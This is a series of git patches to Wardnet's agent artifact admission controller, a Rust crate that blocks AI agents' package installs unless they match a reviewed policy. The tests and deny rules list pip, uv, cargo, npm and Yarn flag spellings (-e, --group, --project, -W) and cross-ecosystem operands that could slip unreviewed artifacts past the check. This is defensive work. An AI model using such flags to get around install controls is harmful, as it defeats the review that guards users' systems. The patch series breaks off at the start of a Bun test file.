"--require-hashes", + "--requirements=requirements.txt", + ], + &["pip", "install", "cwl-example==1.2.3", "--require-hashes", "-e", "./unreviewed"], + &[ + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--editable=./unreviewed", + ], + &["pip", "install", "cwl-example==1.2.3", "--require-hashes", "--group", "unreviewed"], + &[ + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--project", + "./unreviewed", + "--group", + "runtime", + ], + ]; + + for arguments in cases { + assert_indirect_source_blocked("uv", arguments); + } +} + +fn assert_indirect_source_blocked(executable: &str, arguments: &[&str]) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" + .to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-02.2".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let mut argv = Vec::with_capacity(arguments.len() + 1); + argv.push(executable.to_string()); + argv.extend(arguments.iter().map(|argument| (*argument).to_string())); + let intent = InstallIntent { + request_id: format!("req-indirect-source-{executable}"), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv, + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + let decision = admission_decision(&policy, &intent); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} {} must not source undeclared artifacts", + arguments.join(" ") + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "indirect package sources must use the stable artifact_not_approved reason" + ); +} From e552672b5585269accafb385eec50fd815ddf822 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 22:21:09 +0900 Subject: [PATCH 076/247] test(admission): cover attached indirect sources --- .../tests/indirect_artifact_source_contract.rs | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/crates/agent-artifact-admission/tests/indirect_artifact_source_contract.rs b/crates/agent-artifact-admission/tests/indirect_artifact_source_contract.rs index 013367e5..63541d42 100644 --- a/crates/agent-artifact-admission/tests/indirect_artifact_source_contract.rs +++ b/crates/agent-artifact-admission/tests/indirect_artifact_source_contract.rs @@ -68,6 +68,7 @@ fn uv_pip_cannot_source_undeclared_artifacts_from_files_groups_or_editable_paths "--editable=./unreviewed", ], &["pip", "install", "cwl-example==1.2.3", "--require-hashes", "--group", "unreviewed"], + &["pip", "install", "cwl-example==1.2.3", "--require-hashes", "--group=unreviewed"], &[ "pip", "install", @@ -78,6 +79,14 @@ fn uv_pip_cannot_source_undeclared_artifacts_from_files_groups_or_editable_paths "--group", "runtime", ], + &[ + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--project=./unreviewed", + "--group=runtime", + ], ]; for arguments in cases { From 838e19400e42ac4138ff82f754c40f80a0b99d05 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 22:22:42 +0900 Subject: [PATCH 077/247] fix(admission): reject indirect artifact sources --- crates/agent-artifact-admission/src/policy.rs | 38 ++++++++++++++++++- 1 file changed, 37 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 10ddf993..77014389 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -260,7 +260,8 @@ fn validate_artifact_operands(intent: &InstallIntent, reason_codes: &mut Vec bool { + let contains_flag = |flags: &[&str]| { + arguments + .iter() + .any(|argument| flags.iter().any(|flag| matches_cli_flag(argument, flag))) + }; + + match executable { + "pip" | "pip3" => contains_flag(&[ + "-r", + "--requirement", + "-e", + "--editable", + "--requirements-from-script", + ]), + "uv" + if arguments.first().is_some_and(|argument| argument == "pip") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") => + { + contains_flag(&[ + "-r", + "--requirement", + "--requirements", + "-e", + "--editable", + "--group", + "--project", + ]) + } + _ => false, + } +} + fn has_unambiguous_boolean_safety_flag(arguments: &[String], flag: &str) -> bool { let Some(flag_name) = flag.strip_prefix("--") else { return false; From fcf0a58d18f58966a9aca066ddbb4c2672ae2158 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 23:09:59 +0900 Subject: [PATCH 078/247] test(admission): reject cross-ecosystem package manager reuse --- .../tests/ecosystem_binding_contract.rs | 59 +++++++++++++++++++ 1 file changed, 59 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/ecosystem_binding_contract.rs diff --git a/crates/agent-artifact-admission/tests/ecosystem_binding_contract.rs b/crates/agent-artifact-admission/tests/ecosystem_binding_contract.rs new file mode 100644 index 00000000..5aa651cd --- /dev/null +++ b/crates/agent-artifact-admission/tests/ecosystem_binding_contract.rs @@ -0,0 +1,59 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, DecisionKind, InstallIntent, + admission_decision, +}; + +fn npm_artifact_policy_allowing_cargo() -> AdmissionPolicy { + let mut policy = AdmissionPolicy::deny_all_for_test(); + policy.policy_id = "enterprise-default".to_string(); + policy.policy_revision = "2026-09-02.2".to_string(); + policy.allowed_executables = vec!["npm".to_string(), "cargo".to_string()]; + policy.approved_manifests = vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }]; + policy.approved_artifacts = vec![ApprovedArtifact { + ecosystem: "npm".to_string(), + name: "ripgrep".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "Example".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "ripgrep@1.2.3".to_string(), + }]; + policy +} + +#[test] +fn approved_npm_identity_cannot_authorize_same_shaped_cargo_operand() { + let policy = npm_artifact_policy_allowing_cargo(); + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "cargo".to_string(), + "install".to_string(), + "ripgrep@1.2.3".to_string(), + "--locked".to_string(), + ]; + let artifact = intent + .artifacts + .first_mut() + .expect("test helper supplies one artifact"); + artifact.ecosystem = "npm".to_string(); + artifact.name = "ripgrep".to_string(); + artifact.version = "1.2.3".to_string(); + artifact.registry_url = "https://registry.npmjs.org".to_string(); + artifact.owner = "Example".to_string(); + artifact.artifact_argument = "ripgrep@1.2.3".to_string(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "cross-ecosystem package-manager reuse must fail closed: {:?}", + decision.reason_codes + ); +} From 05dd7abaca5baf4c41c5607cfaf698d75fddd882 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 23:12:02 +0900 Subject: [PATCH 079/247] fix(admission): bind artifacts to package-manager ecosystem --- crates/agent-artifact-admission/src/policy.rs | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 77014389..44d8bf91 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -260,7 +260,11 @@ fn validate_artifact_operands(intent: &InstallIntent, reason_codes: &mut Vec bool { + match executable { + "npm" | "pnpm" | "yarn" | "bun" => ecosystem == "npm", + "pip" | "pip3" | "uv" => ecosystem == "pypi", + "cargo" => ecosystem == "cargo", + "docker" | "podman" => ecosystem == "oci", + _ => false, + } +} + fn requests_indirect_artifact_source(executable: &str, arguments: &[String]) -> bool { let contains_flag = |flags: &[&str]| { arguments From c10e6dda9ee770178042f970028c08a40c456cd1 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 23:14:11 +0900 Subject: [PATCH 080/247] test(admission): preserve same-ecosystem cargo install --- .../tests/ecosystem_binding_contract.rs | 64 ++++++++++++++++--- 1 file changed, 56 insertions(+), 8 deletions(-) diff --git a/crates/agent-artifact-admission/tests/ecosystem_binding_contract.rs b/crates/agent-artifact-admission/tests/ecosystem_binding_contract.rs index 5aa651cd..3eef8b62 100644 --- a/crates/agent-artifact-admission/tests/ecosystem_binding_contract.rs +++ b/crates/agent-artifact-admission/tests/ecosystem_binding_contract.rs @@ -24,26 +24,58 @@ fn npm_artifact_policy_allowing_cargo() -> AdmissionPolicy { policy } -#[test] -fn approved_npm_identity_cannot_authorize_same_shaped_cargo_operand() { - let policy = npm_artifact_policy_allowing_cargo(); +fn cargo_artifact_policy() -> AdmissionPolicy { + let mut policy = AdmissionPolicy::deny_all_for_test(); + policy.policy_id = "enterprise-default".to_string(); + policy.policy_revision = "2026-09-02.2".to_string(); + policy.allowed_executables = vec!["cargo".to_string()]; + policy.approved_manifests = vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }]; + policy.approved_artifacts = vec![ApprovedArtifact { + ecosystem: "cargo".to_string(), + name: "ripgrep".to_string(), + version: "14.1.1".to_string(), + registry_url: "https://crates.io".to_string(), + owner: "Example".to_string(), + sha256: "dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd".to_string(), + artifact_argument: "ripgrep@14.1.1".to_string(), + }]; + policy +} + +fn cargo_intent(ecosystem: &str, version: &str, registry_url: &str, digest: &str) -> InstallIntent { let mut intent = InstallIntent::unowned_llms_package_for_test(); intent.argv = vec![ "cargo".to_string(), "install".to_string(), - "ripgrep@1.2.3".to_string(), + format!("ripgrep@{version}"), "--locked".to_string(), ]; let artifact = intent .artifacts .first_mut() .expect("test helper supplies one artifact"); - artifact.ecosystem = "npm".to_string(); + artifact.ecosystem = ecosystem.to_string(); artifact.name = "ripgrep".to_string(); - artifact.version = "1.2.3".to_string(); - artifact.registry_url = "https://registry.npmjs.org".to_string(); + artifact.version = version.to_string(); + artifact.registry_url = registry_url.to_string(); artifact.owner = "Example".to_string(); - artifact.artifact_argument = "ripgrep@1.2.3".to_string(); + artifact.sha256 = digest.to_string(); + artifact.artifact_argument = format!("ripgrep@{version}"); + intent +} + +#[test] +fn approved_npm_identity_cannot_authorize_same_shaped_cargo_operand() { + let policy = npm_artifact_policy_allowing_cargo(); + let intent = cargo_intent( + "npm", + "1.2.3", + "https://registry.npmjs.org", + "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc", + ); let decision = admission_decision(&policy, &intent); @@ -57,3 +89,19 @@ fn approved_npm_identity_cannot_authorize_same_shaped_cargo_operand() { decision.reason_codes ); } + +#[test] +fn cargo_identity_remains_allowed_through_cargo_install() { + let policy = cargo_artifact_policy(); + let intent = cargo_intent( + "cargo", + "14.1.1", + "https://crates.io", + "dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd", + ); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} From 7c38f25e31a0ef4d11a6677549320134b6502069 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 23:16:18 +0900 Subject: [PATCH 081/247] docs(admission): trace package-manager ecosystem binding --- docs/doctoring/agent-artifact-admission.md | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/docs/doctoring/agent-artifact-admission.md b/docs/doctoring/agent-artifact-admission.md index 9b233533..66ab05dc 100644 --- a/docs/doctoring/agent-artifact-admission.md +++ b/docs/doctoring/agent-artifact-admission.md @@ -8,6 +8,7 @@ Verified 2026-09-02. This note records the primary sources that justify the admi | --- | --- | --- | | Treat model/web/tool text as untrusted input, not execution authority | NIST SP 800-218A extends SSDF practices to generative-AI systems and their development lifecycle | Issue #128 threat model; `InstallIntent` must independently satisfy policy | | Require reviewed, exact artifact identity and digest | NIST SSDF 1.1 emphasizes protecting software and verifying integrity; SLSA 1.2 formalizes provenance/verified properties | `ApprovedArtifact`, exact version/registry/owner/SHA-256 matching | +| Bind the submitted package-manager executable to the reviewed artifact ecosystem | npm documents `@` install operands and Cargo documents `crate[@version]`; the same token shape therefore cannot establish which registry ecosystem an approval authorizes | `artifact_ecosystem_matches_executable`; `ecosystem_binding_contract.rs` cross-ecosystem RED plus same-ecosystem Cargo control | | Keep provenance provider schemas outside the domain model | SLSA, Sigstore and TUF have independent schemas, trust roots and lifecycle rules | ADR-0012 and DDD architecture fitness test require adapters/ACLs | | Bind an allow decision to immutable reviewed policy | TUF's signed metadata model and SLSA source/build provenance both separate producer evidence from consumer verification policy | immutable v0.1 `AdmissionPolicy`; deny-all default | | Do not infer publisher trust from registry presence | Sigstore verifies signing identity, certificate trust and Rekor inclusion; registry naming alone is not that evidence | exact reviewed owner is a local policy assertion, not an inferred identity | @@ -40,6 +41,10 @@ The TUF specification page lists v1.0.33 as latest at verification time. TUF's m Sigstore's verification flow validates an artifact signature, the signing identity bound into the certificate, the certificate chain/trust root, and Rekor transparency-log evidence. That makes it suitable as a future external publisher/integrity authority. Wardnet must not reduce those semantics to a registry-owner string or silently copy Sigstore DTOs into the domain kernel. +### Package-manager executable and ecosystem identity + +An approved argv token is not by itself a package-registry identity. npm documents package install operands such as `name@version`; Cargo's current `cargo install` synopsis independently accepts `crate[@version]`. A reviewed token such as `ripgrep@1.2.3` can therefore be syntactically meaningful to both package managers while naming artifacts from different registries, publisher namespaces, and byte streams. Wardnet binds the executable family to the declared artifact ecosystem before exact artifact matching: npm-family commands may authorize only `npm`, pip/uv pip only `pypi`, Cargo only `cargo`, and Docker/Podman pulls only `oci`. The executor still verifies retrieved bytes/provenance; this admission check prevents an approval from being reinterpreted across ecosystems before execution. + ### pip command trust and installation roots The current stable pip 26.2.1 command reference defines `-i`/`--index-url` and `-f`/`--find-links` as inputs that change where package candidates are obtained. It also defines `-t`/`--target`, `--root`, and `--prefix` as controls that redirect where installation output is placed. Those are capability-expanding inputs relative to a reviewed artifact/registry/workspace intent, so Wardnet rejects them rather than silently widening an approved install. The parser recognizes both the documented short-option identity and attached short-option values; the latter is treated fail-closed because otherwise a short spelling can evade a policy that already forbids its long-form capability. @@ -66,7 +71,7 @@ Astral Software, Inc. (2026). *Using environments: uv documentation.* https://do Booth, H., Souppaya, M., Vassilev, A., Ogata, M., Stanley, M., & Scarfone, K. (2024). *Secure software development practices for generative AI and dual-use foundation models: An SSDF community profile (NIST SP 800-218A).* National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218A -National Institute of Standards and Technology. (2022). *Secure software development framework (SSDF) version 1.1: Recommendations for mitigating the risk of software vulnerabilities (NIST SP 800-218).* https://doi.org/10.6028/NIST.SP.800-218 +National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1: Recommendations for Mitigating the Risk of Software Vulnerabilities (NIST SP 800-218).* https://doi.org/10.6028/NIST.SP.800-218 National Institute of Standards and Technology. (2026). *Secure Software Development Framework: Publications.* https://csrc.nist.gov/Projects/ssdf/publications From b3d0831e58efd38f40450a7ad58563b93dd1ff3c Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 23:16:42 +0900 Subject: [PATCH 082/247] docs(changelog): record ecosystem-bound artifact admission --- CHANGELOG.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 55982aca..eda1bf34 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,11 +5,11 @@ ### Security - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. -- Hardened package-manager command admission so approved artifacts cannot be widened through alternate package sources or destinations: pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm-family global/prefix/location/workspace-scope controls, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. +- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources or destinations: npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm-family global/prefix/location/workspace-scope controls, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. ### Operations -- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, and package-manager trust/destination controls with current primary-source traceability. -- Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. +- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, and package-manager trust/destination controls with current primary-source traceability. +- Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. \ No newline at end of file From 080997cc371a5ade2906e3f4237e94e51b0cfc05 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 00:49:46 +0900 Subject: [PATCH 083/247] test(security): reject Yarn workspace-root escape flags --- .../tests/yarn_workspace_root_contract.rs | 76 +++++++++++++++++++ 1 file changed, 76 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/yarn_workspace_root_contract.rs diff --git a/crates/agent-artifact-admission/tests/yarn_workspace_root_contract.rs b/crates/agent-artifact-admission/tests/yarn_workspace_root_contract.rs new file mode 100644 index 00000000..3b2f06af --- /dev/null +++ b/crates/agent-artifact-admission/tests/yarn_workspace_root_contract.rs @@ -0,0 +1,76 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn yarn_classic_workspace_root_escape_flags_fail_closed() { + for workspace_root_flag in ["-W", "--ignore-workspace-root-check"] { + let artifact_argument = "@cwl/example@1.2.3"; + let artifact = ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" + .to_string(), + artifact_argument: artifact_argument.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-03.1".to_string(), + allowed_executables: vec!["yarn".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-yarn-workspace-root-{workspace_root_flag}"), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "yarn".to_string(), + "add".to_string(), + artifact_argument.to_string(), + "--ignore-scripts".to_string(), + workspace_root_flag.to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "Yarn Classic {workspace_root_flag} must not widen an approved install to the workspace root" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_install_root"), + "Yarn Classic {workspace_root_flag} must produce alternate_install_root" + ); + } +} From 0a4f20dabb56d663b4121adbbc699b2b246a1f5e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 00:51:15 +0900 Subject: [PATCH 084/247] fix(security): block Yarn workspace-root scope escape --- crates/agent-artifact-admission/src/policy.rs | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 44d8bf91..72bdbdaf 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -496,7 +496,19 @@ fn requests_alternate_install_root(executable: &str, arguments: &[String]) -> bo pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global") }) } - "pnpm" | "yarn" | "bun" => { + "yarn" => { + contains_flag(&[ + "-g", + "--global", + "--prefix", + "-W", + "--ignore-workspace-root-check", + ]) || arguments.iter().any(|argument| argument == "--location=global") + || arguments.windows(2).any(|pair| { + pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global") + }) + } + "pnpm" | "bun" => { contains_flag(&["-g", "--global", "--prefix"]) || arguments.iter().any(|argument| argument == "--location=global") || arguments.windows(2).any(|pair| { From a2d70431f8b8d9c7edba9ecec90db1f05a36a602 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 00:52:15 +0900 Subject: [PATCH 085/247] docs(security): trace Yarn workspace-root rejection --- docs/doctoring/agent-artifact-admission.md | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/docs/doctoring/agent-artifact-admission.md b/docs/doctoring/agent-artifact-admission.md index 66ab05dc..02910487 100644 --- a/docs/doctoring/agent-artifact-admission.md +++ b/docs/doctoring/agent-artifact-admission.md @@ -1,6 +1,6 @@ # Agent Artifact Admission research and standards traceability -Verified 2026-09-02. This note records the primary sources that justify the admission controller's trust boundary. It does not claim certification or conformance beyond the tests and controls present in Wardnet. +Verified 2026-09-03. This note records the primary sources that justify the admission controller's trust boundary. It does not claim certification or conformance beyond the tests and controls present in Wardnet. ## Decision trace @@ -18,6 +18,7 @@ Verified 2026-09-02. This note records the primary sources that justify the admi | Reject uv index and environment overrides | uv documents `--index`/`--default-index` as command-line package-index selectors, `--python` as an arbitrary target-environment selector, and `--system` as permission to mutate system Python | `requests_alternate_trust_root`, `requests_alternate_install_root`, `uv_index_selection_cannot_override_the_approved_registry`, and `uv_environment_selection_cannot_escape_the_broker_selected_install_root` | | Reject Cargo source, install-root and inline configuration overrides | Cargo documents `--git`, `--path`, `--registry`, and `--index` as package-source selectors, `--root`/`install.root` as installation-root authorities, and `--config KEY=VALUE or PATH` as a command-line configuration override | `requests_alternate_trust_root`, `requests_alternate_install_root`, `cargo_source_selection_cannot_override_the_approved_registry`, and `cargo_inline_configuration_cannot_override_install_root` | | Reject npm workspace scope overrides | npm documents `--workspace` as selecting named or path-addressed workspaces and `--workspaces` as running the command in all configured workspaces; install commands respect those selectors | `requests_alternate_install_root`; `npm_workspace_selection_cannot_expand_the_broker_selected_install_scope` | +| Reject Yarn Classic workspace-root escape overrides | Yarn Classic documents `yarn add ... --ignore-workspace-root-check` / `-W` as allowing installation at the workspaces root, widening the broker-selected package scope | `requests_alternate_install_root`; `yarn_workspace_root_contract.rs` | | Require an unambiguous install-script suppression flag | npm documents `ignore-scripts` as a Boolean whose safe state is `true`; npm CLI Boolean options can be explicitly set back to false, so a contradictory argv must not satisfy admission merely because a safe token also appears | `has_unambiguous_boolean_safety_flag`; hostile `--ignore-scripts=false` and `--no-ignore-scripts` regressions | | Loopback-only v0.1 | minimizes exposed trust boundary until authenticated transport is owned by a separate deployment layer | `validate_service_config` and service bind validation | @@ -63,6 +64,10 @@ npm's current workspace documentation defines workspaces as nested packages in t npm also documents `ignore-scripts` as a Boolean configuration with default `false`; when true, lifecycle scripts from package manifests are not executed. Wardnet's admission contract therefore requires the explicit safe token and rejects contradictory Boolean spellings in the same argv rather than attempting to reproduce npm's full precedence parser. This is deliberately fail-closed: the controller proves that the submitted command cannot negate the required safety flag before execution, while the executor and quarantine runtime remain responsible for environment and filesystem isolation. +### Yarn Classic workspace-root override + +Yarn Classic's `yarn add` reference documents `--ignore-workspace-root-check` and its `-W` alias as allowing a package to be installed at the workspaces root. Wardnet's artifact-admission policy treats the reviewed workspace scope as part of the authorization boundary, so a caller may not use either flag to widen a reviewed package installation from the broker-selected workspace to the root workspace. Both spellings therefore map to `alternate_install_root`. Wardnet does not attempt to infer a Yarn major version from argv; supporting a generic `yarn` executable means the admission boundary must remain safe for the documented Yarn Classic spelling unless a future versioned package-manager capability contract narrows that surface. + ## APA 7 references Astral Software, Inc. (2026). *Package indexes: uv documentation.* https://docs.astral.sh/uv/configuration/indexes/ @@ -95,6 +100,8 @@ Sigstore. (2026). *Security model.* https://docs.sigstore.dev/about/security/ The Update Framework. (2026). *Specification.* https://theupdateframework.io/spec/ +Yarn Contributors. (2026). *yarn add: Yarn Classic documentation.* https://classic.yarnpkg.com/lang/en/docs/cli/add/ + ## Evidence limitations Exact SHA-256 equality detects byte changes but does not establish publisher identity, build integrity or source review. An allow receipt is consequently a Wardnet policy decision, not a general authenticity certificate. Remote attestation, transparency-log verification and metadata freshness/rollback protection remain future adapter responsibilities and must fail closed when introduced. From 350156bc16f1f5a14492ee961f19f38c4a2d468d Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 00:52:33 +0900 Subject: [PATCH 086/247] docs(changelog): record Yarn workspace-scope hardening --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index eda1bf34..b93cb5c7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,7 +5,7 @@ ### Security - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. -- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources or destinations: npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm-family global/prefix/location/workspace-scope controls, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. +- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources or destinations: npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm-family global/prefix/location/workspace-scope controls, Yarn Classic `-W`/`--ignore-workspace-root-check`, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. From a5a80c75e584a783f797f3c1fcb4d40598f32f9a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 02:38:24 +0900 Subject: [PATCH 087/247] test(admission): reject Bun scope and config escapes --- .../tests/bun_scope_escape_contract.rs | 104 ++++++++++++++++++ 1 file changed, 104 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/bun_scope_escape_contract.rs diff --git a/crates/agent-artifact-admission/tests/bun_scope_escape_contract.rs b/crates/agent-artifact-admission/tests/bun_scope_escape_contract.rs new file mode 100644 index 00000000..fe1a2e94 --- /dev/null +++ b/crates/agent-artifact-admission/tests/bun_scope_escape_contract.rs @@ -0,0 +1,104 @@ +use wardnet_agent_artifact_admission::{ + 